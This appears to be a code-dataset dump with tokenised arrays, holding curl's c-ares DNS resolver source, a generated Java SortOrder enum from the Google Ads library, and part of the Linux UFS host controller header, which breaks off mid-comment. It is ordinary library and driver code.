HAVE_CARES_CALLBACK_TIMEOUTS 1 #endif #include "curl_memory.h" /* The last #include file should be: */ #include "memdebug.h" struct ResolverResults { int num_pending; /* number of ares_gethostbyname() requests */ Curl_addrinfo *temp_ai; /* intermediary result while fetching c-ares parts */ int last_status; }; /* * Curl_resolver_global_init() - the generic low-level asynchronous name * resolve API. Called from curl_global_init() to initialize global resolver * environment. Initializes ares library. */ int Curl_resolver_global_init(void) { #ifdef CARES_HAVE_ARES_LIBRARY_INIT if(ares_library_init(ARES_LIB_INIT_ALL)) { return CURLE_FAILED_INIT; } #endif return CURLE_OK; } /* * Curl_resolver_global_cleanup() * * Called from curl_global_cleanup() to destroy global resolver environment. * Deinitializes ares library. */ void Curl_resolver_global_cleanup(void) { #ifdef CARES_HAVE_ARES_LIBRARY_CLEANUP ares_library_cleanup(); #endif } /* * Curl_resolver_init() * * Called from curl_easy_init() -> Curl_open() to initialize resolver * URL-state specific environment ('resolver' member of the UrlState * structure). Fills the passed pointer by the initialized ares_channel. */ CURLcode Curl_resolver_init(void **resolver) { int status = ares_init((ares_channel*)resolver); if(status != ARES_SUCCESS) { if(status == ARES_ENOMEM) return CURLE_OUT_OF_MEMORY; else return CURLE_FAILED_INIT; } return CURLE_OK; /* make sure that all other returns from this function should destroy the ares channel before returning error! */ } /* * Curl_resolver_cleanup() * * Called from curl_easy_cleanup() -> Curl_close() to cleanup resolver * URL-state specific environment ('resolver' member of the UrlState * structure). Destroys the ares channel. */ void Curl_resolver_cleanup(void *resolver) { ares_destroy((ares_channel)resolver); } /* * Curl_resolver_duphandle() * * Called from curl_easy_duphandle() to duplicate resolver URL-state specific * environment ('resolver' member of the UrlState structure). Duplicates the * 'from' ares channel and passes the resulting channel to the 'to' pointer. */ int Curl_resolver_duphandle(void **to, void *from) { /* Clone the ares channel for the new handle */ if(ARES_SUCCESS != ares_dup((ares_channel*)to,(ares_channel)from)) return CURLE_FAILED_INIT; return CURLE_OK; } static void destroy_async_data (struct Curl_async *async); /* * Cancel all possibly still on-going resolves for this connection. */ void Curl_resolver_cancel(struct connectdata *conn) { if(conn && conn->data && conn->data->state.resolver) ares_cancel((ares_channel)conn->data->state.resolver); destroy_async_data(&conn->async); } /* * destroy_async_data() cleans up async resolver data. */ static void destroy_async_data (struct Curl_async *async) { if(async->hostname) free(async->hostname); if(async->os_specific) { struct ResolverResults *res = (struct ResolverResults *)async->os_specific; if(res) { if(res->temp_ai) { Curl_freeaddrinfo(res->temp_ai); res->temp_ai = NULL; } free(res); } async->os_specific = NULL; } async->hostname = NULL; } /* * Curl_resolver_getsock() is called when someone from the outside world * (using curl_multi_fdset()) wants to get our fd_set setup and we're talking * with ares. The caller must make sure that this function is only called when * we have a working ares channel. * * Returns: sockets-in-use-bitmap */ int Curl_resolver_getsock(struct connectdata *conn, curl_socket_t *socks, int numsocks) { struct timeval maxtime; struct timeval timebuf; struct timeval *timeout; long milli; int max = ares_getsock((ares_channel)conn->data->state.resolver, (ares_socket_t *)socks, numsocks); maxtime.tv_sec = CURL_TIMEOUT_RESOLVE; maxtime.tv_usec = 0; timeout = ares_timeout((ares_channel)conn->data->state.resolver, &maxtime, &timebuf); milli = (timeout->tv_sec * 1000) + (timeout->tv_usec/1000); if(milli == 0) milli += 10; Curl_expire(conn->data, milli); return max; } /* * waitperform() * * 1) Ask ares what sockets it currently plays with, then * 2) wait for the timeout period to check for action on ares' sockets. * 3) tell ares to act on all the sockets marked as "with action" * * return number of sockets it worked on */ static int waitperform(struct connectdata *conn, int timeout_ms) { struct SessionHandle *data = conn->data; int nfds; int bitmask; ares_socket_t socks[ARES_GETSOCK_MAXNUM]; struct pollfd pfd[ARES_GETSOCK_MAXNUM]; int i; int num = 0; bitmask = ares_getsock((ares_channel)data->state.resolver, socks, ARES_GETSOCK_MAXNUM); for(i=0; i < ARES_GETSOCK_MAXNUM; i++) { pfd[i].events = 0; pfd[i].revents = 0; if(ARES_GETSOCK_READABLE(bitmask, i)) { pfd[i].fd = socks[i]; pfd[i].events |= POLLRDNORM|POLLIN; } if(ARES_GETSOCK_WRITABLE(bitmask, i)) { pfd[i].fd = socks[i]; pfd[i].events |= POLLWRNORM|POLLOUT; } if(pfd[i].events != 0) num++; else break; } if(num) nfds = Curl_poll(pfd, num, timeout_ms); else nfds = 0; if(!nfds) /* Call ares_process() unconditonally here, even if we simply timed out above, as otherwise the ares name resolve won't timeout! */ ares_process_fd((ares_channel)data->state.resolver, ARES_SOCKET_BAD, ARES_SOCKET_BAD); else { /* move through the descriptors and ask for processing on them */ for(i=0; i < num; i++) ares_process_fd((ares_channel)data->state.resolver, pfd[i].revents & (POLLRDNORM|POLLIN)? pfd[i].fd:ARES_SOCKET_BAD, pfd[i].revents & (POLLWRNORM|POLLOUT)? pfd[i].fd:ARES_SOCKET_BAD); } return nfds; } /* * Curl_resolver_is_resolved() is called repeatedly to check if a previous * name resolve request has completed. It should also make sure to time-out if * the operation seems to take too long. * * Returns normal CURLcode errors. */ CURLcode Curl_resolver_is_resolved(struct connectdata *conn, struct Curl_dns_entry **dns) { struct SessionHandle *data = conn->data; struct ResolverResults *res = (struct ResolverResults *) conn->async.os_specific; CURLcode rc = CURLE_OK; *dns = NULL; waitperform(conn, 0); if(res && !res->num_pending) { (void)Curl_addrinfo_callback(conn, res->last_status, res->temp_ai); /* temp_ai ownership is moved to the connection, so we need not free-up them */ res->temp_ai = NULL; if(!conn->async.dns) { failf(data, "Could not resolve: %s (%s)", conn->async.hostname, ares_strerror(conn->async.status)); rc = conn->bits.proxy?CURLE_COULDNT_RESOLVE_PROXY: CURLE_COULDNT_RESOLVE_HOST; } else *dns = conn->async.dns; destroy_async_data(&conn->async); } return rc; } /* * Curl_resolver_wait_resolv() * * waits for a resolve to finish. This function should be avoided since using * this risk getting the multi interface to "hang". * * If 'entry' is non-NULL, make it point to the resolved dns entry * * Returns CURLE_COULDNT_RESOLVE_HOST if the host was not resolved, and * CURLE_OPERATION_TIMEDOUT if a time-out occurred. */ CURLcode Curl_resolver_wait_resolv(struct connectdata *conn, struct Curl_dns_entry **entry) { CURLcode rc=CURLE_OK; struct SessionHandle *data = conn->data; long timeout; struct timeval now = Curl_tvnow(); struct Curl_dns_entry *temp_entry; timeout = Curl_timeleft(data, &now, TRUE); if(!timeout) timeout = CURL_TIMEOUT_RESOLVE * 1000; /* default name resolve timeout */ /* Wait for the name resolve query to complete. */ for(;;) { struct timeval *tvp, tv, store; long timediff; int itimeout; int timeout_ms; itimeout = (timeout > (long)INT_MAX) ? INT_MAX : (int)timeout; store.tv_sec = itimeout/1000; store.tv_usec = (itimeout%1000)*1000; tvp = ares_timeout((ares_channel)data->state.resolver, &store, &tv); /* use the timeout period ares returned to us above if less than one second is left, otherwise just use 1000ms to make sure the progress callback gets called frequent enough */ if(!tvp->tv_sec) timeout_ms = (int)(tvp->tv_usec/1000); else timeout_ms = 1000; waitperform(conn, timeout_ms); Curl_resolver_is_resolved(conn,&temp_entry); if(conn->async.done) break; if(Curl_pgrsUpdate(conn)) { rc = CURLE_ABORTED_BY_CALLBACK; timeout = -1; /* trigger the cancel below */ } else { struct timeval now2 = Curl_tvnow(); timediff = Curl_tvdiff(now2, now); /* spent time */ timeout -= timediff?timediff:1; /* always deduct at least 1 */ now = now2; /* for next loop */ } if(timeout < 0) { /* our timeout, so we cancel the ares operation */ ares_cancel((ares_channel)data->state.resolver); break; } } /* Operation complete, if the lookup was successful we now have the entry in the cache. */ if(entry) *entry = conn->async.dns; if(rc) /* close the connection, since we can't return failure here without cleaning up this connection properly. TODO: remove this action from here, it is not a name resolver decision. */ conn->bits.close = TRUE; return rc; } /* Connects results to the list */ static void compound_results(struct ResolverResults *res, Curl_addrinfo *ai) { Curl_addrinfo *ai_tail; if(!ai) return; ai_tail = ai; while(ai_tail->ai_next) ai_tail = ai_tail->ai_next; /* Add the new results to the list of old results. */ ai_tail->ai_next = res->temp_ai; res->temp_ai = ai; } /* * ares_query_completed_cb() is the callback that ares will call when * the host query initiated by ares_gethostbyname() from Curl_getaddrinfo(), * when using ares, is completed either successfully or with failure. */ static void query_completed_cb(void *arg, /* (struct connectdata *) */ int status, #ifdef HAVE_CARES_CALLBACK_TIMEOUTS int timeouts, #endif struct hostent *hostent) { struct connectdata *conn = (struct connectdata *)arg; struct ResolverResults *res; #ifdef HAVE_CARES_CALLBACK_TIMEOUTS (void)timeouts; /* ignored */ #endif if(ARES_EDESTRUCTION == status) /* when this ares handle is getting destroyed, the 'arg' pointer may not be valid so only defer it when we know the 'status' says its fine! */ return; res = (struct ResolverResults *)conn->async.os_specific; res->num_pending--; if(CURL_ASYNC_SUCCESS == status) { Curl_addrinfo *ai = Curl_he2ai(hostent, conn->async.port); if(ai) { compound_results(res, ai); } } /* A successful result overwrites any previous error */ if(res->last_status != ARES_SUCCESS) res->last_status = status; } /* * Curl_resolver_getaddrinfo() - when using ares * * Returns name information about the given hostname and port number. If * successful, the 'hostent' is returned and the forth argument will point to * memory we need to free after use. That memory *MUST* be freed with * Curl_freeaddrinfo(), nothing else. */ Curl_addrinfo *Curl_resolver_getaddrinfo(struct connectdata *conn, const char *hostname, int port, int *waitp) { char *bufp; struct SessionHandle *data = conn->data; struct in_addr in; int family = PF_INET; #ifdef ENABLE_IPV6 /* CURLRES_IPV6 */ struct in6_addr in6; #endif /* CURLRES_IPV6 */ *waitp = 0; /* default to synchronous response */ /* First check if this is an IPv4 address string */ if(Curl_inet_pton(AF_INET, hostname, &in) > 0) { /* This is a dotted IP address 123.123.123.123-style */ return Curl_ip2addr(AF_INET, &in, hostname, port); } #ifdef ENABLE_IPV6 /* CURLRES_IPV6 */ /* Otherwise, check if this is an IPv6 address string */ if(Curl_inet_pton (AF_INET6, hostname, &in6) > 0) /* This must be an IPv6 address literal. */ return Curl_ip2addr(AF_INET6, &in6, hostname, port); switch(conn->ip_version) { default: #if ARES_VERSION >= 0x010601 family = PF_UNSPEC; /* supported by c-ares since 1.6.1, so for older c-ares versions this just falls through and defaults to PF_INET */ break; #endif case CURL_IPRESOLVE_V4: family = PF_INET; break; case CURL_IPRESOLVE_V6: family = PF_INET6; break; } #endif /* CURLRES_IPV6 */ bufp = strdup(hostname); if(bufp) { struct ResolverResults *res = NULL; Curl_safefree(conn->async.hostname); conn->async.hostname = bufp; conn->async.port = port; conn->async.done = FALSE; /* not done */ conn->async.status = 0; /* clear */ conn->async.dns = NULL; /* clear */ res = calloc(sizeof(struct ResolverResults),1); if(!res) { Curl_safefree(conn->async.hostname); conn->async.hostname = NULL; return NULL; } conn->async.os_specific = res; /* initial status - failed */ res->last_status = ARES_ENOTFOUND; #ifdef ENABLE_IPV6 /* CURLRES_IPV6 */ if(family == PF_UNSPEC) { if(Curl_ipv6works()) { res->num_pending = 2; /* areschannel is already setup in the Curl_open() function */ ares_gethostbyname((ares_channel)data->state.resolver, hostname, PF_INET, query_completed_cb, conn); ares_gethostbyname((ares_channel)data->state.resolver, hostname, PF_INET6, query_completed_cb, conn); } else { res->num_pending = 1; /* areschannel is already setup in the Curl_open() function */ ares_gethostbyname((ares_channel)data->state.resolver, hostname, PF_INET, query_completed_cb, conn); } } else #endif /* CURLRES_IPV6 */ { res->num_pending = 1; /* areschannel is already setup in the Curl_open() function */ ares_gethostbyname((ares_channel)data->state.resolver, hostname, family, query_completed_cb, conn); } *waitp = 1; /* expect asynchronous response */ } return NULL; /* no struct yet */ } CURLcode Curl_set_dns_servers(struct SessionHandle *data, char *servers) { CURLcode result = CURLE_NOT_BUILT_IN; int ares_result; /* If server is NULL or empty, this would purge all DNS servers * from ares library, which will cause any and all queries to fail. * So, just return OK if none are configured and don't actually make * any changes to c-ares. This lets c-ares use it's defaults, which * it gets from the OS (for instance from /etc/resolv.conf on Linux). */ if(!(servers && servers[0])) return CURLE_OK; #if (ARES_VERSION >= 0x010704) ares_result = ares_set_servers_csv(data->state.resolver, servers); switch(ares_result) { case ARES_SUCCESS: result = CURLE_OK; break; case ARES_ENOMEM: result = CURLE_OUT_OF_MEMORY; break; case ARES_ENOTINITIALIZED: case ARES_ENODATA: case ARES_EBADSTR: default: result = CURLE_BAD_FUNCTION_ARGUMENT; break; } #else /* too old c-ares version! */ (void)data; (void)(ares_result); #endif return result; } CURLcode Curl_set_dns_interface(struct SessionHandle *data, const char *interf) { #if (ARES_VERSION >= 0x010704) if(!interf) interf = ""; ares_set_local_dev((ares_channel)data->state.resolver, interf); return CURLE_OK; #else /* c-ares version too old! */ (void)data; (void)interf; return CURLE_NOT_BUILT_IN; #endif } CURLcode Curl_set_dns_local_ip4(struct SessionHandle *data, const char *local_ip4) { #if (ARES_VERSION >= 0x010704) uint32_t a4; if((!local_ip4) || (local_ip4[0] == 0)) { a4 = 0; /* disabled: do not bind to a specific address */ } else { if(Curl_inet_pton(AF_INET, local_ip4, &a4) != 1) { return CURLE_BAD_FUNCTION_ARGUMENT; } } ares_set_local_ip4((ares_channel)data->state.resolver, ntohl(a4)); return CURLE_OK; #else /* c-ares version too old! */ (void)data; (void)local_ip4; return CURLE_NOT_BUILT_IN; #endif } CURLcode Curl_set_dns_local_ip6(struct SessionHandle *data, const char *local_ip6) { #if (ARES_VERSION >= 0x010704) unsigned char a6[INET6_ADDRSTRLEN]; if((!local_ip6) || (local_ip6[0] == 0)) { /* disabled: do not bind to a specific address */ memset(a6, 0, sizeof(a6)); } else { if(Curl_inet_pton(AF_INET6, local_ip6, a6) != 1) { return CURLE_BAD_FUNCTION_ARGUMENT; } } ares_set_local_ip6((ares_channel)data->state.resolver, a6); return CURLE_OK; #else /* c-ares version too old! */ (void)data; (void)local_ip6; return CURLE_NOT_BUILT_IN; #endif } #endif /* CURLRES_ARES */
sidhujag/devcoin-wallet
src/curl/lib/asyn-ares.c
C
mit
19,853
[ 30522, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.11 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2015.08.19 at 01:05:06 PM PDT // package com.google.api.ads.adwords.lib.jaxb.v201509; import javax.xml.bind.annotation.XmlEnum; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for SortOrder. * * <p>The following schema fragment specifies the expected content contained within this class. * <p> * <pre> * &lt;simpleType name="SortOrder"&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}string"&gt; * &lt;enumeration value="ASCENDING"/&gt; * &lt;enumeration value="DESCENDING"/&gt; * &lt;/restriction&gt; * &lt;/simpleType&gt; * </pre> * */ @XmlType(name = "SortOrder") @XmlEnum public enum SortOrder { ASCENDING, DESCENDING; public String value() { return name(); } public static SortOrder fromValue(String v) { return valueOf(v); } }
gawkermedia/googleads-java-lib
modules/ads_lib/src/main/java/com/google/api/ads/adwords/lib/jaxb/v201509/SortOrder.java
Java
apache-2.0
1,139
[ 30522, 1013, 1013, 1013, 1013, 2023, 5371, 2001, 7013, 2011, 1996, 9262, 21246, 4294, 2005, 20950, 8031, 1006, 13118, 2497, 1007, 4431, 7375, 1010, 1058, 2475, 1012, 1016, 1012, 2340, 1013, 1013, 2156, 1026, 1037, 17850, 12879, 1027, 1000, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* SPDX-License-Identifier: GPL-2.0-or-later */ /* * Universal Flash Storage Host controller driver * Copyright (C) 2011-2013 Samsung India Software Operations * Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. * * Authors: * Santosh Yaraganavi <santosh.sy@samsung.com> * Vinayak Holikatti <h.vinayak@samsung.com> */ #ifndef _UFSHCD_H #define _UFSHCD_H #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/io.h> #include <linux/delay.h> #include <linux/slab.h> #include <linux/spinlock.h> #include <linux/rwsem.h> #include <linux/workqueue.h> #include <linux/errno.h> #include <linux/types.h> #include <linux/wait.h> #include <linux/bitops.h> #include <linux/pm_runtime.h> #include <linux/clk.h> #include <linux/completion.h> #include <linux/regulator/consumer.h> #include <linux/bitfield.h> #include <linux/devfreq.h> #include <linux/blk-crypto-profile.h> #include "unipro.h" #include <asm/irq.h> #include <asm/byteorder.h> #include <scsi/scsi.h> #include <scsi/scsi_cmnd.h> #include <scsi/scsi_host.h> #include <scsi/scsi_tcq.h> #include <scsi/scsi_dbg.h> #include <scsi/scsi_eh.h> #include "ufs.h" #include "ufs_quirks.h" #include "ufshci.h" #define UFSHCD "ufshcd" #define UFSHCD_DRIVER_VERSION "0.2" struct ufs_hba; enum dev_cmd_type { DEV_CMD_TYPE_NOP = 0x0, DEV_CMD_TYPE_QUERY = 0x1, }; enum ufs_event_type { /* uic specific errors */ UFS_EVT_PA_ERR = 0, UFS_EVT_DL_ERR, UFS_EVT_NL_ERR, UFS_EVT_TL_ERR, UFS_EVT_DME_ERR, /* fatal errors */ UFS_EVT_AUTO_HIBERN8_ERR, UFS_EVT_FATAL_ERR, UFS_EVT_LINK_STARTUP_FAIL, UFS_EVT_RESUME_ERR, UFS_EVT_SUSPEND_ERR, UFS_EVT_WL_SUSP_ERR, UFS_EVT_WL_RES_ERR, /* abnormal events */ UFS_EVT_DEV_RESET, UFS_EVT_HOST_RESET, UFS_EVT_ABORT, UFS_EVT_CNT, }; /** * struct uic_command - UIC command structure * @command: UIC command * @argument1: UIC command argument 1 * @argument2: UIC command argument 2 * @argument3: UIC command argument 3 * @cmd_active: Indicate if UIC command is outstanding * @done: UIC command completion */ struct uic_command { u32 command; u32 argument1; u32 argument2; u32 argument3; int cmd_active; struct completion done; }; /* Used to differentiate the power management options */ enum ufs_pm_op { UFS_RUNTIME_PM, UFS_SYSTEM_PM, UFS_SHUTDOWN_PM, }; /* Host <-> Device UniPro Link state */ enum uic_link_state { UIC_LINK_OFF_STATE = 0, /* Link powered down or disabled */ UIC_LINK_ACTIVE_STATE = 1, /* Link is in Fast/Slow/Sleep state */ UIC_LINK_HIBERN8_STATE = 2, /* Link is in Hibernate state */ UIC_LINK_BROKEN_STATE = 3, /* Link is in broken state */ }; #define ufshcd_is_link_off(hba) ((hba)->uic_link_state == UIC_LINK_OFF_STATE) #define ufshcd_is_link_active(hba) ((hba)->uic_link_state == \ UIC_LINK_ACTIVE_STATE) #define ufshcd_is_link_hibern8(hba) ((hba)->uic_link_state == \ UIC_LINK_HIBERN8_STATE) #define ufshcd_is_link_broken(hba) ((hba)->uic_link_state == \ UIC_LINK_BROKEN_STATE) #define ufshcd_set_link_off(hba) ((hba)->uic_link_state = UIC_LINK_OFF_STATE) #define ufshcd_set_link_active(hba) ((hba)->uic_link_state = \ UIC_LINK_ACTIVE_STATE) #define ufshcd_set_link_hibern8(hba) ((hba)->uic_link_state = \ UIC_LINK_HIBERN8_STATE) #define ufshcd_set_link_broken(hba) ((hba)->uic_link_state = \ UIC_LINK_BROKEN_STATE) #define ufshcd_set_ufs_dev_active(h) \ ((h)->curr_dev_pwr_mode = UFS_ACTIVE_PWR_MODE) #define ufshcd_set_ufs_dev_sleep(h) \ ((h)->curr_dev_pwr_mode = UFS_SLEEP_PWR_MODE) #define ufshcd_set_ufs_dev_poweroff(h) \ ((h)->curr_dev_pwr_mode = UFS_POWERDOWN_PWR_MODE) #define ufshcd_set_ufs_dev_deepsleep(h) \ ((h)->curr_dev_pwr_mode = UFS_DEEPSLEEP_PWR_MODE) #define ufshcd_is_ufs_dev_active(h) \ ((h)->curr_dev_pwr_mode == UFS_ACTIVE_PWR_MODE) #define ufshcd_is_ufs_dev_sleep(h) \ ((h)->curr_dev_pwr_mode == UFS_SLEEP_PWR_MODE) #define ufshcd_is_ufs_dev_poweroff(h) \ ((h)->curr_dev_pwr_mode == UFS_POWERDOWN_PWR_MODE) #define ufshcd_is_ufs_dev_deepsleep(h) \ ((h)->curr_dev_pwr_mode == UFS_DEEPSLEEP_PWR_MODE) /* * UFS Power management levels. * Each level is in increasing order of power savings, except DeepSleep * which is lower than PowerDown with power on but not PowerDown with * power off. */ enum ufs_pm_level { UFS_PM_LVL_0, UFS_PM_LVL_1, UFS_PM_LVL_2, UFS_PM_LVL_3, UFS_PM_LVL_4, UFS_PM_LVL_5, UFS_PM_LVL_6, UFS_PM_LVL_MAX }; struct ufs_pm_lvl_states { enum ufs_dev_pwr_mode dev_state; enum uic_link_state link_state; }; /** * struct ufshcd_lrb - local reference block * @utr_descriptor_ptr: UTRD address of the command * @ucd_req_ptr: UCD address of the command * @ucd_rsp_ptr: Response UPIU address for this command * @ucd_prdt_ptr: PRDT address of the command * @utrd_dma_addr: UTRD dma address for debug * @ucd_prdt_dma_addr: PRDT dma address for debug * @ucd_rsp_dma_addr: UPIU response dma address for debug * @ucd_req_dma_addr: UPIU request dma address for debug * @cmd: pointer to SCSI command * @sense_buffer: pointer to sense buffer address of the SCSI command * @sense_bufflen: Length of the sense buffer * @scsi_status: SCSI status of the command * @command_type: SCSI, UFS, Query. * @task_tag: Task tag of the command * @lun: LUN of the command * @intr_cmd: Interrupt command (doesn't participate in interrupt aggregation) * @issue_time_stamp: time stamp for debug purposes * @compl_time_stamp: time stamp for statistics * @crypto_key_slot: the key slot to use for inline crypto (-1 if none) * @data_unit_num: the data unit number for the first block for inline crypto * @req_abort_skip: skip request abort task flag */ struct ufshcd_lrb { struct utp_transfer_req_desc *utr_descriptor_ptr; struct utp_upiu_req *ucd_req_ptr; struct utp_upiu_rsp *ucd_rsp_ptr; struct ufshcd_sg_entry *ucd_prdt_ptr; dma_addr_t utrd_dma_addr; dma_addr_t ucd_req_dma_addr; dma_addr_t ucd_rsp_dma_addr; dma_addr_t ucd_prdt_dma_addr; struct scsi_cmnd *cmd; u8 *sense_buffer; unsigned int sense_bufflen; int scsi_status; int command_type; int task_tag; u8 lun; /* UPIU LUN id field is only 8-bit wide */ bool intr_cmd; ktime_t issue_time_stamp; ktime_t compl_time_stamp; #ifdef CONFIG_SCSI_UFS_CRYPTO int crypto_key_slot; u64 data_unit_num; #endif bool req_abort_skip; }; /** * struct ufs_query - holds relevant data structures for query request * @request: request upiu and function * @descriptor: buffer for sending/receiving descriptor * @response: response upiu and response */ struct ufs_query { struct ufs_query_req request; u8 *descriptor; struct ufs_query_res response; }; /** * struct ufs_dev_cmd - all assosiated fields with device management commands * @type: device management command type - Query, NOP OUT * @lock: lock to allow one command at a time * @complete: internal commands completion */ struct ufs_dev_cmd { enum dev_cmd_type type; struct mutex lock; struct completion *complete; struct ufs_query query; }; /** * struct ufs_clk_info - UFS clock related info * @list: list headed by hba->clk_list_head * @clk: clock node * @name: clock name * @max_freq: maximum frequency supported by the clock * @min_freq: min frequency that can be used for clock scaling * @curr_freq: indicates the current frequency that it is set to * @keep_link_active: indicates that the clk should not be disabled if link is active * @enabled: variable to check against multiple enable/disable */ struct ufs_clk_info { struct list_head list; struct clk *clk; const char *name; u32 max_freq; u32 min_freq; u32 curr_freq; bool keep_link_active; bool enabled; }; enum ufs_notify_change_status { PRE_CHANGE, POST_CHANGE, }; struct ufs_pa_layer_attr { u32 gear_rx; u32 gear_tx; u32 lane_rx; u32 lane_tx; u32 pwr_rx; u32 pwr_tx; u32 hs_rate; }; struct ufs_pwr_mode_info { bool is_valid; struct ufs_pa_layer_attr info; }; /** * struct ufs_hba_variant_ops - variant specific callbacks * @name: variant name * @init: called when the driver is initialized * @exit: called to cleanup everything done in init * @get_ufs_hci_version: called to get UFS HCI version * @clk_scale_notify: notifies that clks are scaled up/down * @setup_clocks: called before touching any of the controller registers * @hce_enable_notify: called before and after HCE enable bit is set to allow * variant specific Uni-Pro initialization. * @link_startup_notify: called before and after Link startup is carried out * to allow variant specific Uni-Pro initialization. * @pwr_change_notify: called before and after a power mode change * is carried out to allow vendor spesific capabilities * to be set. * @setup_xfer_req: called before any transfer request is issued * to set some things * @setup_task_mgmt: called before any task management request is issued * to set some things * @hibern8_notify: called around hibern8 enter/exit * @apply_dev_quirks: called to apply device specific quirks * @suspend: called during host controller PM callback * @resume: called during host controller PM callback * @dbg_register_dump: used to dump controller debug information * @phy_initialization: used to initialize phys * @device_reset: called to issue a reset pulse on the UFS device * @program_key: program or evict an inline encryption key * @event_notify: called to notify important events */ struct ufs_hba_variant_ops { const char *name; int (*init)(struct ufs_hba *); void (*exit)(struct ufs_hba *); u32 (*get_ufs_hci_version)(struct ufs_hba *); int (*clk_scale_notify)(struct ufs_hba *, bool, enum ufs_notify_change_status); int (*setup_clocks)(struct ufs_hba *, bool, enum ufs_notify_change_status); int (*hce_enable_notify)(struct ufs_hba *, enum ufs_notify_change_status); int (*link_startup_notify)(struct ufs_hba *, enum ufs_notify_change_status); int (*pwr_change_notify)(struct ufs_hba *, enum ufs_notify_change_status status, struct ufs_pa_layer_attr *, struct ufs_pa_layer_attr *); void (*setup_xfer_req)(struct ufs_hba *, int, bool); void (*setup_task_mgmt)(struct ufs_hba *, int, u8); void (*hibern8_notify)(struct ufs_hba *, enum uic_cmd_dme, enum ufs_notify_change_status); int (*apply_dev_quirks)(struct ufs_hba *hba); void (*fixup_dev_quirks)(struct ufs_hba *hba); int (*suspend)(struct ufs_hba *, enum ufs_pm_op, enum ufs_notify_change_status); int (*resume)(struct ufs_hba *, enum ufs_pm_op); void (*dbg_register_dump)(struct ufs_hba *hba); int (*phy_initialization)(struct ufs_hba *); int (*device_reset)(struct ufs_hba *hba); void (*config_scaling_param)(struct ufs_hba *hba, struct devfreq_dev_profile *profile, void *data); int (*program_key)(struct ufs_hba *hba, const union ufs_crypto_cfg_entry *cfg, int slot); void (*event_notify)(struct ufs_hba *hba, enum ufs_event_type evt, void *data); }; /* clock gating state */ enum clk_gating_state { CLKS_OFF, CLKS_ON, REQ_CLKS_OFF, REQ_CLKS_ON, }; /** * struct ufs_clk_gating - UFS clock gating related info * @gate_work: worker to turn off clocks after some delay as specified in * delay_ms * @ungate_work: worker to turn on clocks that will be used in case of * interrupt context * @state: the current clocks state * @delay_ms: gating delay in ms * @is_suspended: clk gating is suspended when set to 1 which can be used * during suspend/resume * @delay_attr: sysfs attribute to control delay_attr * @enable_attr: sysfs attribute to enable/disable clock gating * @is_enabled: Indicates the current status of clock gating * @is_initialized: Indicates whether clock gating is initialized or not * @active_reqs: number of requests that are pending and should be waited for * completion before gating clocks. */ struct ufs_clk_gating { struct delayed_work gate_work; struct work_struct ungate_work; enum clk_gating_state state; unsigned long delay_ms; bool is_suspended; struct device_attribute delay_attr; struct device_attribute enable_attr; bool is_enabled; bool is_initialized; int active_reqs; struct workqueue_struct *clk_gating_workq; }; struct ufs_saved_pwr_info { struct ufs_pa_layer_attr info; bool is_valid; }; /** * struct ufs_clk_scaling - UFS clock scaling related data * @active_reqs: number of requests that are pending. If this is zero when * devfreq ->target() function is called then schedule "suspend_work" to * suspend devfreq. * @tot_busy_t: Total busy time in current polling window * @window_start_t: Start time (in jiffies) of the current polling window * @busy_start_t: Start time of current busy period * @enable_attr: sysfs attribute to enable/disable clock scaling * @saved_pwr_info: UFS power mode may also be changed during scaling and this * one keeps track of previous power mode. * @workq: workqueue to schedule devfreq suspend/resume work * @suspend_work: worker to suspend devfreq * @resume_work: worker to resume devfreq * @min_gear: lowest HS gear to scale down to * @is_enabled: tracks if scaling is currently enabled or not, controlled by clkscale_enable sysfs node * @is_allowed: tracks if scaling is currently allowed or not, used to block clock scaling which is not invoked from devfreq governor * @is_initialized: Indicates whether clock scaling is initialized or not * @is_busy_started: tracks if busy period has started or not * @is_suspended: tracks if 